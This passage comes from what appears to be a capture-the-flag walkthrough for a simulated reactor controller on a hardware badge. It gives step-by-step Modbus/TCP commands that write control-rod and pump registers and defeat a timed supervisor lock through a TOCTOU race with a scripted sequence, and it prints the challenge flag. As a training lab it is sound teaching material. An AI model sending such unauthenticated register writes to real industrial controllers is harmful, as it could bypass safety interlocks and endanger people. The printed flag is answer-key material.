read-input 5 1 Checks the SAFE_BAND register.
sleep 1 Waits one second before repeating.

When the SAFE_BAND register reads 7, all three conditions are reported safe.

Press Ctrl + C to stop the loop after observing the required stable condition.

Show result and explanation

During the loop, the toolkit repeatedly returned:

Operation:            Modbus write-holding
Request:              write HR1 := 486
Protocol response:    echo (write acknowledged)

Operation:            Modbus read-input
Request:              read-input addr=5 count=1
Protocol response:    [7]
Verification:         Protocol acknowledgement received

The important result is:

Protocol response: [7]

This means:

  • Bit 0 = 1 → Temperature safe
  • Bit 1 = 1 → Pressure safe
  • Bit 2 = 1 → Neutron flux safe

All three conditions are now reported safe.

The output continued showing [7] across multiple checks, meaning the safe-band indicator remained at its fully safe value during those observations.


What We Learned

  1. Modbus/TCP: A protocol used by industrial equipment to exchange information and control devices over a TCP network.

  2. Input Registers: Used to read sensor information, such as temperature, pressure, and neutron flux.

  3. Holding Registers: Used to send control values to equipment such as pumps, valves, and control rods.

  4. Register Mapping: We identified which register represented each sensor and actuator.

  5. Status Bitmask: SAFE_BAND uses three bits to report whether the three reactor conditions are safe.

  6. Continuous Monitoring: A single successful reading is not enough. We repeatedly checked the status to observe whether the safe condition remained stable.


Final Result

Item Result
Target 10.0.1.1
Protocol Modbus/TCP
Port 502
Control rod Register 0 → 475
Pressure valve Register 2 → 0
Water-flow pump Register 1 → 486
SAFE_BAND 7
Temperature status Safe
Pressure status Safe
Neutron flux status Safe

Final observation: The SAFE_BAND register repeatedly returned 7, indicating that all three reactor conditions were reported safe during the monitoring loop.

08

Maintenance Override

Expert

Points: 300

Protocol: Modbus/TCP · Port: 502/tcp · Toolkit module: modbus


The Story

The reactor has a special maintenance mode that allows engineers to change the maintenance rod position.

However, this mode is protected by a supervisor lock. You must unlock it before changing the rod.

The catch is that the unlock stays active for only about 2 seconds. A background system also checks whether the rod is at its previously approved position. If you change the rod while the unlock is active, the system accepts the new position. Otherwise, it changes the rod back to its original value.

Your mission is to unlock the system, move the rod to its maximum position of 100, make the system accept the change, and keep it stable for approximately 10 seconds.


What You Need to Know

There are a few important Modbus registers in this challenge.

Register Name Purpose
HR20 Supervisor Unlock Opens the maintenance lock.
HR21 Maintenance Rod Controls the rod position.
IR72 Unlock Timer Shows the remaining unlock time.
IR73 Last Authorised Value Shows the rod position accepted by the system.
IR74 Solve Status Shows whether the challenge is completed.
IR48 Flag Stores the challenge flag.

Important values:

  • Original rod position: 10
  • Maximum rod position: 100
  • Unlock duration: Approximately 2 seconds.
  • Required stable time: Approximately 10 seconds.

Our goal is to change the rod from 10 to 100 and make IR73 also show 100.


Step 1: Connect to the Target and Read the Registers

What are we doing?

First, we connect to the target and check the available registers.

We need to understand the current state of the maintenance system before changing anything.

Commands

./bin/sysrupt target set 10.0.1.1

./bin/sysrupt status

./bin/sysrupt help modbus

./bin/sysrupt modbus read-input 0 16

./bin/sysrupt modbus read-input 70 6

What each command does

  • target set selects the target device.
  • status checks which services are reachable.
  • help modbus displays the available Modbus commands.
  • read-input 0 16 reads the first 16 input registers.
  • read-input 70 6 reads registers 70 to 75, where maintenance information is stored.
Show result and explanation

The target was successfully configured:

Target set to 10.0.1.1

The Modbus service was reachable:

modbus      tcp/502    reachable

The important registers identified from the challenge are:

HR20 = Supervisor Unlock
HR21 = Maintenance Rod

IR72 = Unlock Timer
IR73 = Last Authorised Rod Position
IR74 = Solve Status

The original rod position is 10, and our target is 100.


Step 2: Understand the Unlock System

What are we doing?

Before changing the maintenance rod, we must unlock the supervisor lock.

First, try changing the rod without unlocking it. Then request the unlock and check the remaining time.

Commands

./bin/sysrupt modbus write 21 100

./bin/sysrupt modbus write 20 1

./bin/sysrupt modbus read-input 72 1

What is happening?

  • Register 20 controls the unlock.
  • Writing 1 requests an unlock.
  • Register 72 shows how much unlock time remains.
  • Register 21 controls the maintenance rod.
Show result and explanation

When we try changing the rod without unlocking it, the system rejects the request.

This happens because the maintenance rod is protected.

The unlock lasts approximately 2 seconds, so we must change the rod quickly after opening the lock.


Step 3: Understand the Two Important Problems

There are two things that can make our attempt fail.

Problem 1: The unlock needs a fresh signal

The unlock works only when its value changes from:

0 → 1

This is called a rising edge.

Think of it like pressing a button. If the button is already ON, sending ON again does not create a new button press.

So, before unlocking, we must set the register back to 0.

./bin/sysrupt modbus write 20 0

Now the next write of 1 creates a fresh unlock signal.

Problem 2: The unlock window is very short

The unlock lasts only around 2 seconds.

Typing separate commands manually can take too long. By the time we send the rod command, the unlock may have expired.

Solution: Use the toolkit's sequence feature to execute all commands in the correct order over one connection.


Step 4: Create the Timed Sequence

What are we doing?

We are creating a JSON file containing the commands needed to perform the override.

The sequence will:

  1. Turn the unlock OFF.
  2. Turn the unlock ON.
  3. Set the maintenance rod to 100.
  4. Confirm the system legitimised the new position (IR73 = 100).
  5. Hold the position for ~10 seconds on the same connection.
  6. Read the flag from IR48.

Important: the badge pauses the plant simulation whenever no client is connected. The ~10 s stability hold only advances while a connection stays open, so the hold reads and the flag read must be steps in this one sequence — the toolkit runs every step over a single persistent connection. Doing them as separate commands after a shell sleep opens new connections and the hold never completes.

Create the file

nano maint.seq.json

Paste the following:

{
  "name": "maint-override",
  "steps": [
    { "command": "modbus write 20 0" },
    { "command": "modbus write 20 1", "deadline_ms": 1000 },
    { "command": "modbus write 21 100", "deadline_ms": 1800 },
    { "command": "modbus verify 73 100 --input", "delay_before_ms": 300 },
    { "command": "modbus read-input 74 1", "delay_before_ms": 2600 },
    { "command": "modbus read-input 74 1", "delay_before_ms": 2600 },
    { "command": "modbus read-input 74 1", "delay_before_ms": 2600 },
    { "command": "modbus read-input 48 16", "delay_before_ms": 2600 }
  ]
}

Save the file.

Understand the sequence

Command Purpose
modbus write 20 0 Resets the unlock.
modbus write 20 1 Opens the supervisor lock (fresh rising edge).
modbus write 21 100 Moves the maintenance rod to 100.
modbus verify 73 100 --input Confirms the loop legitimised it (IR73 = 100).
modbus read-input 74 1 (×3) Keeps the connection active through the ~10 s hold.
modbus read-input 48 16 Reads the flag once the hold completes.

What are the timing options?

  • deadline_ms: Maximum time allowed for that step after the sequence starts.
  • delay_before_ms: Waits before executing that step.

The three read-input 74 steps plus the final read are spaced ~2.6 s apart so the single connection stays open for the full ~10 s hold. Keeping one connection open is what lets the stability timer run to completion — the final read-input 48 then returns the flag.

Validate and execute the sequence

First, check whether the JSON file is correct:

./bin/sysrupt sequence validate maint.seq.json

Then execute it:

./bin/sysrupt sequence run maint.seq.json
Show result and explanation

The important command to check is:

modbus write 21 100

We want to see:

Protocol acknowledgement received

This means the rod write was accepted by the Modbus device.

If you see:

Request sent (no positive response)

The write was rejected. The unlock may not have opened correctly or may have expired.


Step 5: Check Whether the System Accepted the New Position

What are we doing?

Changing the rod to 100 does not automatically mean the system has accepted the change.

The background reconciliation loop checks the rod position while the unlock is open and, if it is, promotes 100 to the authorised value. This is the modbus verify 73 100 --input step inside the sequence — you do not run it separately (a standalone command would open a new connection). It confirms input register 73 now reads 100.

Show result and explanation

The expected result is:

IR73 = 100

This means the system now treats 100 as the authorised rod position instead of the original value 10.


Step 6: Read the Flag from the Sequence Output

What are we doing?

Because the hold reads and the flag read are the last steps of the same sequence, you do not run any separate commands here — the single sequence run above already held the position for ~10 s on one connection and read IR48 at the end. You just read its output.

What to look for in the sequence output

  • Step modbus write 21 100 → Protocol acknowledgement received (rod write accepted).
  • Step modbus verify 73 100 --input → Observed state change confirmed (IR73 is now 100: the reconciliation loop legitimised the override).
  • Final step modbus read-input 48 16 → Challenge completion confirmed, with the flag on its ascii: line.
Show result and explanation

Once the override has been held stable for ~10 s on the one connection, the challenge publishes the flag in IR48 and the final step reports completion:

[8] OK  modbus read-input 48 16  ->  Challenge completion confirmed
ascii: wired{t0ct0u_r0d_0verr1d3_pwn}

If the final step is still empty, the hold was interrupted (a dropped connection, or the sequence was too short). Re-run the whole sequence — it must complete on one connection without a shell sleep splitting it.


Important Things to Remember

  1. Always write 0 to HR20 before writing 1. The unlock needs a fresh rising edge.
  2. The unlock stays active for only approximately 2 seconds.
  3. Use the sequence file instead of manually typing commands one by one.
  4. Check IR73 to confirm that the new rod position was accepted.
  5. Do not change the rod after it has been accepted.
  6. Wait approximately 10 seconds before checking the solve status.
  7. Avoid repeatedly opening the unlock. More than 6 rising edges within approximately 2 seconds can trigger a temporary maintenance lockout.

What We Learned

  • Modbus Holding Registers: Used to control equipment, such as the supervisor unlock and maintenance rod.
  • Input Registers: Used to read information, such as the unlock timer and solve status.
  • Rising Edge: A signal change from 0 to 1.
  • TOCTOU: A timing problem where something is checked at one moment but changes before the operation finishes.
  • Sequence Engine: Allows multiple commands to execute in a fixed order over one connection.
  • State Verification: Always check whether the system accepted a change instead of trusting only the write response.

Final Result

Item Value
Target 10.0.1.1
Protocol Modbus/TCP
Port 502
Supervisor Unlock HR20
Maintenance Rod HR21
Original Rod Position 10
Target Rod Position 100
Unlock Duration ~2 seconds
Last Authorised Position IR73 = 100
Solve Status IR74 = 1
Flag Location IR48
Expected Flag wired{t0ct0u_r0d_0verr1d3_pwn}